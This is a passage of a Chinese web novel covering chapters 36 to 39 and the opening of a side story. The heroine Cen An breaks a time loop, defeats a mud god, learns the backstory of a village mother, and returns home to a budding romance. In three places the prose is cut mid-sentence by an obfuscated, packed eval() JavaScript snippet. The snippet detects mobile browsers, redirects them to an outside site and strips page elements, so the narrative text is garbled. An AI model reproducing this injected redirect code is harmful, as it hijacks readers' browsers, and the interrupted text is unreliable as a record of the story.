她想起来这话哪里耳熟了。 岑桉没忍住笑了起来,笑得眉眼弯弯。 因果啊因果,实在太奇妙了。 “那咒语呢?”荀昼生问。 “咳,”岑桉清了清嗓子,起了逗他的心思,“是一个很重要的人,你以后会知道的。” 荀昼生的表情有了起伏,那潭死水终于起了点涟漪,岑桉心头宽慰。 “总之,未来还有很多在等着你。再正式做个自我介绍吧,”岑桉将右手伸到他面前,“我叫岑桉,桉树的桉,他是程杉,杉树的杉,很高兴认识你。” 荀昼生的喉结上下滚动了下。 他握住她的手,只触了一瞬,便收了回去。侧头看向窗外时,他忽然冒出一句:“我知道你的名字。” 岑桉一怔。 “我们见过。” 荀昼生依旧避着她的目光。 “你不记得了吗?” 36. 第三十六章 坐在高悬半空的缆车上,岑桉脚底升起一股寒意。 她呼吸瞬间变得急促:“我们见过?” “如果你不记得,那可能是我做了个梦吧。” 荀昼生垂下眼,看不出情绪。 “抱歉,是我冒犯了。” 不对,不对。 岑桉清楚,那不是梦。 所以,循环并没有在这里结束。 为什么没有结束?她不是把一切都妥善处理好了吗? “你梦里的我,是什么样子?”她声音发涩,仿佛只是说出口就花费了很大的力气。 荀昼生端详了她片刻,似乎是觉得唐突,又移开了目光。 “就是现在这样,和梦里一模一样。”他不自在地抿了抿唇,“是我多有得罪,抱歉,我没有别的意思。” 岑桉呼吸一滞。 她耳畔一阵嗡鸣声,恍惚中好似听到了索道断裂的声音,再一定神,三人还好好地坐在缆车上,什么也没有发生。 别多想,别多想。 她安抚着自己。 索道已经处理好了,除非再有人下手,否则没有断裂的可能性。 岑桉顺着窗往前看去,距离雪山已经很近很近了,只要再坚持一会儿,他们就能顺利抵达经幡柱下,一切就都结束了。 她的目光微转,落到了正下方,却被眼前的景象惊得手脚发凉——荀家村的男女老少都聚在了被她毁掉的阵眼位置,泥沼神就立在那里,仰起了头,岑桉莫名从祂黑漆漆的分不出五官的头上看出了蔑视和鄙夷。 遥远的天际忽然传来了悠长鸣响的钟声。 铛—— 铛—— 铛—— 三声钟响落幕,荀家村村民齐刷刷跪了一地,缆车也抵达了停车点。岑桉心中升起了不妙的预感,慌忙催促着他们下车。 ——但已经来不及了。 荀昼生才刚站起身来,就如同灵魂抽离般躺倒在座位上,头砰一声磕在座椅上,再无动静。岑桉颤着手试了他的鼻息,已经没有任何气息了。 “姐,”程杉的声音都在发抖,“他,死了?” 岑桉缓慢地吐出一口长气。 是她遗漏了。 如果许愿本身就是一种仪式呢? 或许早在很久以前,祂就已经布好了一场棋局,荀家村的每个人都是棋盘上的棋子。 他们活时,是祂的信徒,供祂驱使,替祂杀人。 他们死时,是祂的养分,彻底沦为祂的一部分。 只要泥沼神不死,荀家村的所有村民随时都面临着死亡的可能。 不止是荀昼生,还有那么多普通村民。 他们并非纯善,但也绝不是纯恶,以岑桉从小受到的教育来看,没有什么能够以生死裁定他们的罪责,就算有,也应该是法律。 那是活生生的人命啊。 “程杉,对不起,我不能看着他们死。”她闭上眼睛,“你先上雪山吧,我想再来一次。” 程杉不明白,但拒绝得果断:“我要陪着你。” 岑桉深深看了他一眼,不再多言,把背包里所有东西倒了出来。但是没有,没有她预想中的那样东西。 她原以为自己已经摸透了短刀归属人的规律,认为短刀会出现在上一次循环时的最后一位使用者身上,但她空空如也的背包像是狠狠甩了她一巴掌。 没关系,没关系。 岑桉想。 她还有经幡,大不了就用竹竿自裁,就是不知道它这么有灵性,能不能对她造成真实伤害。 当啷—— 随着清脆的声响,岑桉的视线偏移到程杉身上。 他虽然不知道老姐在做什么,但有样学样,把他自己和荀昼生包里的东西都倒了个彻底。 于是,一把短刀从荀昼生包里掉了出来。 那是一把沾着泥灰的、岑桉熟到不能再熟的短刀。 短刀落地有声,如同命运的回响。 “程杉,”岑桉笑了下,“闭眼。” 手起刀落,影子一刀两断。 黑暗和疼痛包裹住了岑桉的意识,一瞬之间堕入了无底的深渊。 * “姐?” “姐!” “这是怎么了,都今天第三回了!” “她没事吧?” “不知道啊,醒醒啊姐——” 岑桉猝然睁开眼。 “姐你咋了啊,”程杉急得团团转,“要不别上雪山了,咱们回去补觉吧?” 她回过神,环视一周,是在缆车的车厢里。 荀昼生和程杉就坐在上一次的位置,前者微微前倾着身子,后者更是满脸焦急,就差趴在她身上了,两人的视线聚在了她的身上。 缆车才刚刚开出,但已经失去了下车的机会。 “我没事程杉,别担心。” 岑桉伸出手,轻轻地敲了敲程杉的脑门,他委屈地捂住了头,尽管不疼,他还是不懂为什么会挨这一下。 手中的经幡似乎在灼灼发烫,岑桉垂眸,缓缓抚上竿身。 原来冥冥之中,一切都自有安排。 “荀昼生,”她说,“我叫岑桉,桉树的桉。” 她一手拉开了车门:“初次见面,拜托你照顾一下我弟弟。” 荀昼生眉梢皱起:“你要做什么?” 岑桉露出一个释然的笑。 “我去拯救世界。” 她一跃而起,头也不回地跳了下去。【注】 * 岑桉从来不知道,原来焰火近在眼前时,是那样炽热夺目,几乎让她睁不开眼。 许是感知到她内心的决绝,从岑桉跳下缆车时,经幡就燃成了一竿焰火,劈里啪啦地灼烧着,仿佛能吞噬所有的肮脏与黑暗。 “小妹——” 岑桉紧闭着眼,胡乱抓住脑海中飘过的身影,想起谁喊谁。 “婶子——” “叔——” “带着大家快撤——” 不枉她喊哑了嗓子,火光托举着她落地时,岑桉的视野内只剩下那摊暴怒狂躁的烂泥。 “愚蠢,愚蠢!你到底想要什么,金银财宝,权势地位,只要你说,我都能给你!”祂发疯一样甩动着身体,泥点四溅,所落之处草木枯萎,生灵涂炭。 “我、要、你、死!” 岑桉迎着乱飞的泥灰而上,任由它们附着在自己的皮肤上、头发上,刺骨难耐的阴冷钻进了身体里,内里从头到脚都透着无法抵御的寒凉,四肢都变得僵硬无力,胸前的焰火还在熊熊燃烧。岑桉自嘲地想,她现在就像个冰箱,外热内冷,可惜肚里连盘菜都没有。 她想妈妈了。 她想吃妈妈做的萝卜炖汤。 出发之前她还梦到了萝卜,如今却不知还能不能再吃上一回。 心绪的繁杂和身体的艰涩丝毫没有阻碍她前进的脚步,岑桉大步如飞,带着跨越千山万壑一往无前的冲劲,一头撞向了泥沼神。 铛—— 明明是肉身与泥沼的碰撞,是无畏的焰火吞并了晦暗的污浊,岑桉却听到了钟声回荡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284334|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晃眼的光芒乍现,湮没了眼前的一切。 好温暖。 像妈妈的怀抱。 身上的冷意渐渐消退,岑桉徜徉在焰火的光辉中,慢慢合上了眼。 * “姑娘?” “姑娘?” “怎么还昏迷着,是不是有什么后遗症?” 是个焦灼的陌生女声。 “放宽心,孩子,她已经没事了,只是太累了。” 好空灵的声音,仿佛超脱于世俗之外,在天上打了个转才传入人耳。 “好孩子,该醒来了。” 宛若天音,声声入心,唤醒了她残存的意识。 岑桉缓缓睁开了眼。 四周一片无暇雪色,恍若天境。 她还活着? 还是已经彻底地死去了? 这里是哪儿,天堂吗? 那程杉呢,他活下来了吗? “程杉?” 岑桉试探着唤出他的名字。 “你醒了。” 回应她的是个和蔼的女声。 “都结束了,你安全了,别担心,你弟弟现在也很安全。” 岑桉循声望去。 昏迷时耳畔有两个分明的声音,此刻出现在她眼前的却只有一位妇人。 该如何形容眼前这位女性呢。 她一双眼沧桑却也明澈,眉宇间是化不开的愁绪。岁月毫不留情地在她脸上留下了痕迹,但却无法磨灭风霜下的坚韧和温柔。 岑桉与她素未谋面,此刻心头却蹦出一个名字——不,不应该说是名字,准确来讲,是一个身份。 “您是,荀小妹的妈妈?” “哎,”她轻声应下,嘴角弯弯,“山今,你好,终于见到你了。” 岑桉一愣。 “荀小妹跟您说起过我?” “和我的女儿无关。”妇人歉疚地看着她,“而且我也没想到,囡囡会找上你,还把你拉进了这场纠葛。是我们对不住你,给你添了好些麻烦,但我还是要说一声谢谢,谢谢你救了我们。” “可我没做什么。”岑桉诚恳道,“我是答应她要救您,但我根本没有头绪,后来又发生了那么多事,我做的这些都是为了救我的弟弟。” 她不想让人承情,也没想往自己身上揽功。 在亲人的生死面前,她没能顾得上对荀小妹的承诺,她有过错,她认,但她不是圣人。 圣人慈悲善良无私奉献,以天下人为己任,岑桉却没有办法不把自己的至亲至爱放在最先。 哪怕再重来无数次,她也不会后悔自己的选择。 妇人摇了摇头。 “不,你救过我。”她的脸上浮现出怀念之色,“山今,我认识你很久很久了。” 久到她初见便如重逢,对这个素未谋面的女孩心生关怀。 久到,她已经记不清具体的时间,却清晰记得那些鼓励的话语。 这个迢迢千里而来的女孩,曾给过她莫大的勇气,支撑着她走过了很长一段路。 终于见面了。 “我是燕子。” 妇人有些别扭地说出了自己的网名。 她不自然地捋了捋鬓边的黑发,试图把里面的白丝掩盖起来。 “嗯……数数得有六七年了吧,一直想跟你当面说句谢谢,但怎么也找不到机会。雪山娘娘保佑,你健健康康平平安安的,已经长成大姑娘了。” 妇人笑弯了眉眼,额角的褶皱也舒展开来。 “好姑娘,谢谢你。” 37. 第三十七章 岑桉刚上大学那年,父母离婚,人生又踏上了新的征途,她其实是迷惘的。 她背着行囊去外省读书,一个人适应新环境,一个人习惯新节奏,还要关注妈妈的情绪问题。 离婚是两个人的事,往往更在意的那个人会更受伤。 妈妈低迷了很久,岑桉陪着她,一点一点从泥潭里爬了出来。 在她成长的过程中,父爱一直是缺位的,她觉得爸爸对她好像是对一只合租室友养的小猫,猫会翻跟头就到处炫耀,猫的吃喝拉撒漠不关心,心情好了喂一口哄一下,其余时间便爱答不理。 妈妈一个人扛起了整个家,直到他彻底偏离了轨道,违背了婚姻的忠诚。 那段时间里,岑桉学会了很多。 她开始独立处理问题,开始思考人生未来的方向,开始拍摄喜欢的风景,甚至报班学了散打——在这个社会里,女性总是更缺乏安全感,程杉上下嘴皮子一碰就能说句“保护”,她不是不信,只是更相信自己。她要学,要变得强大,要能保护好自己和妈妈。 也就是那个时候,岑桉认识了一个叫“燕子”的网友。 最开始时,燕子只是默默给她发布的风景图点赞,后来开始评论,再慢慢地,两人就有了聊天框里的交流。 岑桉记得,“燕子”最开始同她的第一句是:“你好,谢谢你的照片,很漂亮,希望能继续拍下去。” 有来就有回,两人从风景聊到生活,她了解到,“燕子”是一位家庭主妇,没有工作,有一个女儿,每日忙里忙外撑起了一整个家。但每当提及丈夫时,“燕子”总是支支吾吾,含糊其辞。 岑桉从不探究,网友终归是网友,她从不过问旁人不愿提及的个人隐私。 直到有一天,“燕子”特别沮丧地给岑桉发了一长串信息。 她说,她一直想给女儿取个好名字,反反复复纠结了很久,孩子爸爸却连登记名字的事都忘记了。女儿的名字定得很草率,她担心女儿会失望。 岑桉觉得奇怪,中间好像缺失了一环。 她没问,那边却发现了,过了几分钟又补上一句:“唉,取名字是男人的事,女人说不上话。” 隔着屏幕,岑桉都皱起了眉头。 她问:“你也这么觉得吗?” 半晌没有动静。 岑桉想,这毕竟是“燕子”的生活,如果当事人也这么想,那就尊重个人意愿吧。 她没再惦记这事儿,忙自己的课程作业去了。 到晚饭时间时,她再打开手机,才看到“燕子”的三条回复。 【燕子】:对不起,我没想好怎么回答你,不是故意不回的。 【燕子】:我不这么觉得。 【燕子】:你会看不起离婚的女人吗? 岑桉愣了一下。 【山今】:每个人都有选择的自由呀,只要你过得开心,不用在意别人看不看得起。 【燕子】:我做错了事,我怕戳脊梁骨。 【山今】:这是两码事。如果你觉得做错了,那就认错道歉,这和你的选择无关。我不清楚具体情况,所以也不会给你任何建议,但如果你愿意的话,可以问一问你的女儿怎么想。 【燕子】:我明白了,谢谢你姑娘。 后来她们再没了联系。 岑桉之后几天时不时就会看看聊天框,反思自己可能是狗拿耗子多管闲事了。但她又转念一想,自己既没过多干预,也没对不起良心,怎么也挑不出毛病,就把这事儿彻底放下了。 过去了这么多年,岑桉已经不太记得这回事了,妇人提起“燕子”时,她恍惚了一阵,才想起这段过往。 她很难把“燕子”的轻描淡写,和荀小妹妈妈的经历联系到一起。 荀小妹日记里写,在某一次轮回里,妈妈为了争取给她取个好名字,被荀伯成打死了。 岑桉忽然意识到:“你是因为我的话,才——” “不是,”妇人看出了她的心思,出言打断了她,“其实我一直有这个想法,但是我不敢。是你给了我勇气,囡囡给了我动力,我才决定试一试。” 妇人低下了头:“其实囡囡是个意外。当年我流产,身体弱,春花陪我去医院查了,说是很难再怀孕了。春花问我,还想不想继续过日子,我说,想。她就跟我说,她帮我把这事儿瞒下来,千万不能让我家那位知道。” 她笑得苦涩。 “在医院还差点撞上爸妈,我过成那个模样,哪还有脸见他们。当年我一个人背井离乡,谁也没敢告诉,爸妈天天劝、月月劝,我一点也听不进去,我觉得他们不理解我,他多好一人啊,我就是要嫁给他,我偷了户口本就来了。真跟他过上日子了,我才知道他们说得都是对的。但我不后悔,因为嫁给他,我才有了囡囡,她是我最大的福气。” 提起荀小妹,她脸上多了点笑意,但很快又被哀愁盖了过去。 “可我当时不知道啊,心里那个悔呀。我做错了事,再也回不去了,就只能信了公公说的,他肯定会学好的。结果一年又一年,他一点儿也没变。从我流产开始,他就变本加厉地打我,我都忍了,但他后来居然动手打囡囡,我绝对不允许他伤害我的女儿。那个时候开始,我就有分开的想法了。” “就没有想过报警吗?家暴是犯法的。”岑桉问。 “丢人呀。就这么大一个村子,谁家那点事大家伙都知道,公公又好面子,我不可能报警的。”妇人叹了口气,“后来想过来了,真要报警了,又报不成了。” “因为那摊泥?” “对,那位控制了村大门,只能进不能出。有好几次,叔远知道我被打死了,要出去替我报警,公公都拦下了。他既怕叔远出得去,带回无辜的人被那位掌控;他又怕叔远出不去,起了疑心,一旦开始怀疑就可能会被那位蛊惑,公公只能用命威胁他不准报警。” “荀叔远一点不知道烂泥的事?” “不知道。他从来不信鬼神,只相信凭自己的双手挣饭吃,那位拿他没有办法,只要从心底切断相信的根源,就不会受到那位的影响。” 难怪荀叔远压根看不到路灯,难怪大家眼里路灯的数量还不一样。 原来一切都是随心而变。 奈何又有几个人能做到荀叔远那样呢? 岑桉慨叹。 “那后来呢?”她问,“你为什么会一次又一次死去,荀小妹又为什么会记得一切?” 妇人抿着唇角:“是因为我。我问了囡囡,问她想不想爸爸妈妈分开,她呜呼一声满屋乱窜,眼睛亮亮的,问我‘可以吗’,我心里就有答案了。我去找他谈了离婚,他就动手了,这是我第一次没命。” “后来我一次又一次重回小妹出生那年,换了无数种死法,撞破那位和他交易时被杀,因为囡囡取名的事被打死,甚至还因为难产死过一回,我在想,是不是我错得太离谱,所以才活该受折磨。” “直到这一次,我活着见到了雪山娘娘,她告诉我,囡囡很早之前就跟她许了愿,说想要我的所有愿望都能实现。”妇人眼中含着热泪,“我才知道,我能一次又一次活,是我的女儿为我求来的。” “没有代价吗?”岑桉问。 回答她的不是妇人,而是那道空灵的声音。 “万事都有代价,她会背负着每一次的记忆,次次累加,直到一切结束为止。” 岑桉警觉地环顾一周:“谁?” “好孩子,往下看,我就是这座雪山,他们都唤我‘雪山娘娘’。” 岑桉憋了一肚子的问题。 听了这个名字这么多次,遇到了这么多离奇古怪的事,她终于能在雪山娘娘面前问个究竟。 她问:“是您让我来这里的吗?” “是,也不是。那个小女孩和你有缘,我只是一个推手。” “为什么会有循环?” “还是因为那个孩子,她的愿望造成了一次次轮回的出现,你们被卷入其中,填补了循环的裂缝。” “所以轮回的次数真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284335|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有限制的?” “是,一切早有注定。我的孩子,我很高兴,你没有辜负我的期望。” “你是说我成功杀了那摊泥?” “是,你成功了,经幡之火能燃尽世间污秽,你做得很好。” 岑桉眯了眯眼:“如果我没做到,会怎样?” “不会的,孩子。我知道的,你一定会做到。” “我是说如果,万一呢?” “倘若真如你所说,你会成为泥沼的肥料,到那时,我就困不住祂了。”雪山娘娘的声音无悲无喜,“但这个可能并不存在,孩子,你做到了。” 岑桉很难理解:“这是果推因吗?” “不,是冥冥之中早有安排。我的孩子,神明无所不知,但神明什么也不能干预,所以人间事只能交给世间人来完成,你不是雪山的信徒,但你身上有雪山的缘分,你替雪山走了一程。” 岑桉还是不明白。 她听不懂“缘分使然”的谜语,再追问下去也没有意义。她现在更在意另一件事:“那现在一切都结束了对吧,我和程杉能回家了吗?荀昼生他怎么样了?” “是,都结束了,他们都很好,等解答完你的困惑,你们就可以离开了。”雪山娘娘的口吻像是在哄无知的孩童,“你要去看看他们吗?” 岑桉一怔:“可以吗?” “当然,孩子。” 话音刚落,岑桉就如灵魂脱壳般飘在空中,层层雪雾逐渐散去,她看到了定格的大火,看到了悬在空中停滞不前的缆车,看到了车上并列坐着的两个人。 她越过云,逆着风,无视车厢门的阻拦,以魂体径直穿入了缆车内。 程杉还是老样子,嘴张得能塞下个鸡蛋,眉飞色舞的,不知道时间停止前他又在讲些什么;荀昼生的神情淡淡,仿佛置身事外,眼中却有了些异样的神采。 如同一幅画卷,他们都是画中人,永远停在这一瞬,她却是个观画人,只能通过细节揣测画中故事。 岑桉伸出手,叩响程杉的额头,难得看他不反抗,又手痒多敲了两下。 余光瞥到荀昼生时,她无端弯起了唇角,俯身拥他入怀,动作轻得仿若一阵风。眼前场景轮转更替,一眨眼的功夫,她就又回到了那个雪色的仙境。 岑桉心事已了,干脆放开了问。 “荀家村的村民呢,都活下来了吗?还有那些游客,他们怎么样了?” 雪山娘娘道:“是,我要替荀家村的孩子们向你道谢,他们都会迎来新生。但那些游客,肉身在泥土里埋了太久,已经回天无力了。” “那些有罪之人,会受到法律的制裁吗?” “自有天注定。” “那她呢?”岑桉看向一旁缄默许久的妇人,“她能活下来吗?能彻底解脱吗?” “自有天意啊。” 岑桉:“……” 都说了,谜语人最难懂了。 谜语神也一样。 “雪山娘娘是不能泄露天机的。我会带着囡囡好好过日子,你放心吧。”妇人苦笑了一下,“只是对不起爸妈,他们后来再也没来找我,可能也是对我彻底失望了吧。” 岑桉回忆起老村长笔记本中的内容:“也说不准,不试试看的话,您怎么知道他们怎么想呢。” “对了,我还想拜托您一件事,”她又说,“帮我转告婶子——就是王春花,她不是怪物,我不怪她了。” “哎,好。”妇人应了下来。 “时辰也差不多了,我送你们离开。” 雪山娘娘的声音在上空回荡,岑桉耳边仿佛又响起了经幡随风而动的声音。 “等一下——” 岑桉忽然想到一个问题。 “为什么是煤油灯?” “人靠双手创造一切,煤油灯是人类劳动的产物,路灯不是。不劳而获从天而降的馅饼,终究是要付出代价的。再见了,我的孩子。” 她的尾音被风声拉得无限长,被雪裹挟着,消逝在天际。 38. 第三十八章 咕噜咕噜。 咕嘟—— 岑桉在嘈杂声中睁开眼,正对上窗外飞驰而过的风景。 她回来了? 岑桉慌忙转过头,看到身侧座位上睡得正香的程杉,整个人都松了劲,心中一轻。 是回到来时的高铁了吗? 她从口袋里掏出手机,摁亮了屏幕:6月20日10:26分。 等等,怎么就是返程了? 她是怎么上的高铁? 岑桉茫然地打开了社交平台,消息99+,平时有联络没联络的联系人通通蹦了出来。 【母上大人】:桉桉,到了吗? 【母上大人】:这么忙啊,也没啥事,你忙你的,想吃啥提前跟妈说。 …… 【母上大人】:咋两天没信了啊?不是说今天就回来吗? 岑桉着急忙慌地打字回复,手指和屏幕都要磨出火星子了。 【山今(接单中)】:回的回的,在高铁上啦! 【山今(接单中)】:我想吃萝卜炖汤!还想吃红烧排骨凉拌茄子虎皮青椒酸辣土豆丝[大哭][大哭] 【山今(接单中)】:我连方便面都想吃…… 【母上大人】:哈哈,馋猫。 【母上大人】:一个一个来,都安排! 妈妈秒回了她。 岑桉回了个“万岁”的表情包,开始往下划拉其他人的消息。 小姨问她小杉听不听话、闯没闯祸,还给她转账让她拿着花。 朋友平均每天十几条消息,大多都是转发帖子和视频分享给她,外带一长串的“哈哈哈哈哈”。 八百年没联系的大学同学给她发了问候,说自己来了她的城市,问她有没有时间一起出来吃顿饭。 岑桉逐条回复下来,程杉才悠悠转醒。 “嗯?老姐你醒啦,”他揉揉眼,“我还以为又得我叫你呢。” 岑桉一怔,坐直身体:“又?” “啊,我做了个梦,”程杉吧唧一下嘴,“你穿越循环了,每次都得我把你叫醒。也是奇了怪了,都梦到时间循环拯救世界了,怎么我还不能当主角啊,我的梦不应该我做主吗!” 岑桉:“……” 他的关注点永远那么清奇。 “梦而已,别在意。”岑桉重新倚在靠背上。 程杉还在回味那个梦,一瞥手机屏幕忽然爆了粗口:“20号了!?我睡了两天??” 他看一眼手机,再抬头看岑桉,然后又低头看手机,磕磕巴巴问:“不、不会是真的吧?” “真的假的重要吗?”岑桉问。 “重要啊!!姐你给我拍照没,我要跟郭彬他们炫耀的!” 哦,照片。 岑桉面无表情。 她都快忘了这趟是出来接单的。 照片没拍成,还发现单主是未成年,这钱得给人家退回去。 亏大了。 岑桉沉痛地捞起手机,还没来得及点开屏幕,就听到程杉结巴着开了口:“咱、咱们现在,不、不会还在循环里吧?” 岑桉:? 岑桉:“为什么这么问?” “你、你看那儿。” 她顺着程杉手指的方向看去,前头不远处的走道上躺着瓶罐装可乐,罐口大开,棕色的液体咕嘟咕嘟淌个没完。 岑桉心里一咯噔。 别吧。 不是说好结束了吗。 “咋办啊姐,”程杉哭丧个脸,“20号了都在循环里,等咱出去得啥时候啊!” “这是重点吗!”岑桉咬牙。 “怎么不是重点啊!我的志愿还没报啊啊啊!” 他像只土拨鼠一样尖叫起来。 “谁家的孩子也不管管,”前座两人嘀嘀咕咕,“前头有个闹腾的就够够的了,怎么后面还有一个。你说那可乐,来的时候就洒一回了,怎么走的时候还跟他们一趟车,真服了。” 程杉的嚎声戛然而止。 岑桉猛地舒了一口气,如释重负。 太好了,是熊孩子就好。 不是,熊孩子也不好,但总比还在循环里要好。 她一下一下顺着心口,连转账也不觉得心痛了,干脆利落原样转回,外带一条消息。 【山今(接单中)】妹妹,钱我就不收啦,祝你和阿姨健康幸福呀~ 确认,发送。 岑桉了却一桩心事,悠然地看着窗外风景,脑海里却飘过一个抓不住的影——她是不是忘了什么?好像哪里有点不对劲。 手机“嗡”震了一下。 【曙】:? 岑桉:? 咋了,钱数不对吗? 她仔细又核对了一遍交易记录,确信数值没有问题,最上头还一直显示“对方正在输入……”。 她等了又等,才等到对方输入的新消息。 【曙】:你好,我是荀昼生,白昼的昼,生命的生。 岑桉:! 坏了,她就说好像忘了什么。 她把那么大一个预备男友给忘了! 岑桉尴尬地捻了捻手指,半天才敲下一行对应的回复。 【山今(接单中)】:你好你好,我是岑桉,桉树的桉。 只一瞬,他的消息就跳了出来。 【曙】:我知道,女朋友。 【山今(接单中)】:预备役!!! 【曙】:好。 【曙】:方便问问转正手续办理流程吗? “姐?”程杉凑了个脑袋过来,“你脸咋红了?” 岑桉啪一下把手机反扣:“我热不行吗!” “行,太行了,”程杉缩了缩脖子,“你热得耳朵都红了。” “程、杉!” 岑桉恶狠狠地赏了他一个脑瓜嘣。 嗡—— 手机又响了。 岑桉做了个深呼吸,心绪微缓,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289372|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摁亮屏幕,收到的却不是荀昼生的消息。 消息来自于一个多年不见的账号。 【燕子】:姑娘,是我,没打扰你吧? 【燕子】:我给囡囡改了名字,随我姓,单字一个晓,她很喜欢。晓是天亮的意思,我希望她一辈子都亮堂堂做人,永远怀着破晓而出的希冀,坦荡无畏。 【燕子】:囡囡说,等她长大了,要带我去看没雪的日出。我现在觉得,有雪的日出也很好,但她要带我去找春天,我还是很高兴。 岑桉眼眶湿润,像是在酝酿一场无声的雨。 【山今】:阿姨,祝您和晓晓健康幸福。 【山今】:如果可以,我能问问您的名字吗? 名字和身份是不一样的。 岑桉想。 她不仅仅是晓晓的妈妈、是荀伯成曾经的妻子、是她父母的女儿,她还应该是她自己。 【燕子】:我叫付林燕,前两个字是爸妈的姓,最后一个是燕子的燕。 【山今】:付女士,勇敢去走您想走的路吧,愿您像燕子一样,飞得又高又远,飞往春天。 【燕子】:谢谢你,姑娘,我会自由的。 【燕子】:代我向你家人问好。 岑桉揉了揉发酸的鼻头,切换了界面。 【山今(接单中)】:妈!你想不想看日出呀,我们明天去看日出吧? 【母上大人】:…… 【母上大人】:别想一出是一出了,你能起得来再说这有的没的。 岑桉:“……” 能别这么打脸吗老妈。 【母上大人】:排骨买了,西瓜吃不吃? 【山今(接单中)】:吃!!! 她喜滋滋地捧着手机,趁着心头舒畅的情绪余韵,又点开了和荀昼生的聊天框,三下两下改掉了备注。聊天记录还停留在转正手续办理上,岑桉摸了摸下巴,心情颇好地回了一句。 【山今(接单中)】:看你表现咯。 【预备役男友】:收到。 岑桉再度侧头看向窗外。 高铁已经开出去很远很远,再见不到雪山的踪影。 这一程险象环生,虽然总能化险为夷,却也是艰难险阻、荆棘载途。 她感谢每一段过往,它们成就了两日前的她,让她能够安然走出荀家村。 她也感谢这两日的经历,它们让她认识了很好的人,也对自己有了崭新的认知。 这是远隔千山万水、横跨两代女性的一场奔赴。 是泥泞之中悄然发生的埋没与救赎。 人生漫漫,岔路何其多。 无论做出怎样的选择,无论身处怎样的境地,都要有承担的勇气,和重新来过的决心。 山风阵阵,经幡猎猎。 风吹经幡,声声绕山。 风吹动的每一次声响,都是神明在低语。 听,这是雪山的回响。 【正文完】 39. 荀昼生(一) 荀昼生本名荀早生。 因为出生时间比预产期要早,刚好又是在清晨,当爹的一拍脑门,就取了这么个名字。 他开蒙早,识字也快,大人很多话都听得明白。村长荀柱总是调侃,早生这个名字好,早生贵子嘛。 荀昼生不乐意了。 于是他上学前那个生日,死活要求把名字改掉。 他打小听话,就叛逆了这一回,家里也就依了他,听他的主意把名字改成了“荀昼生”。 帮她改名的工作人员是个大姐姐,笑起来有两个酒窝:“这个名字好呀,你这么大就认识这么难写的字啦,好厉害。” 他心里乐开了花,面上还是克制地点了点头:“谢谢姐姐。” 荀昼生小时候就只有这一件烦心事,解决掉之后,其他都顺风顺水,一片坦途。 直到初中毕业那年夏天,荀家村发生了一场雪崩。他当时在姑姑家住着,和同龄小伙伴玩得乐不思蜀,再回家时才知道,爸爸妈妈都被埋在了这场雪崩里。 往后的记忆就有些模糊了。 姑姑带走了他,让他踏踏实实留在这边念书,以后就不要回村里去了。 那是他第一次对生离死别产生概念。 搬离荀家村后,荀昼生慢慢发现,从前村里的事情有很多他都记不得了。 后来有一次,他听到姑姑在哭,他就偷偷趴在墙角听。 姑父说:“别哭了,发生这种事谁也不想的。” 姑姑说:“那可怎么办啊,大哥大嫂走了,爹妈又不愿意过来,还放话让咱们永远也别回去,这都什么事儿啊。” 姑父叹了口气。 “爹娘的考虑也是对的,如果那位的传言都是真的,他们是走不成了。” “可那是我亲爹亲妈啊!”姑姑嚎啕大哭。 姑父沉默着抽完了一根烟。 他说:“都是命啊。” * 荀昼生花了很长时间去弄清楚荀家村到底发生了什么。 大二那年暑假,他独自回了一趟荀家村,荀柱已经老得不成样子了。他说着荀昼生听不懂的语言,连比划带蹦跶,还是王春花把他劝走的。 “早生,你别介意,”王春花还是习惯性叫他原来的名字,“他已经糊涂好几年了。” 荀昼生觉得很奇怪。 荀柱总是有意无意在他眼前晃荡,假装不经意地在院中树下跺跺脚,又回屋去戳戳那排书,来回几次,荀昼生终于没忍住跟他去了。 见他上了钩,荀柱心满意足地扬长而去。 就这样,荀昼生拿到了书里的钥匙,找到了树下的木匣,读完了那本笔记。 那天他在雪山上发了很久的呆。 一切的祸端都是由他引起的吗? 那个所谓的泥沼神,也就是“祂”,到底是什么东西? 风吹响了经幡,荀昼生蓦地想起了奶奶以前说过的话。 “早生,你听经幡的声音,那是雪山娘娘的祝福啊。” 爷爷去年就过世了,临走前留了话,不准姑姑回来看他。没多久,奶奶也就跟着他去了。 按照笔记中所说,爷爷也向泥沼神许过愿,他的身体向来硬朗,他的死会不会另有隐情? 荀昼生开始了漫漫求真路。 村里的老人没剩几个,荀柱表达不清,他就换一个人问。他一路找到了荀大正和何绣娟的家,却发现屋子从里头上了锁,只能推开一个不大的门缝。 他伸手敲响了屋门。 “谁啊?” 开口的是个苍老的男声,是荀大正的声音。 “是我,早生,我有点事想跟您请教。” 他听到一声很长的叹息。 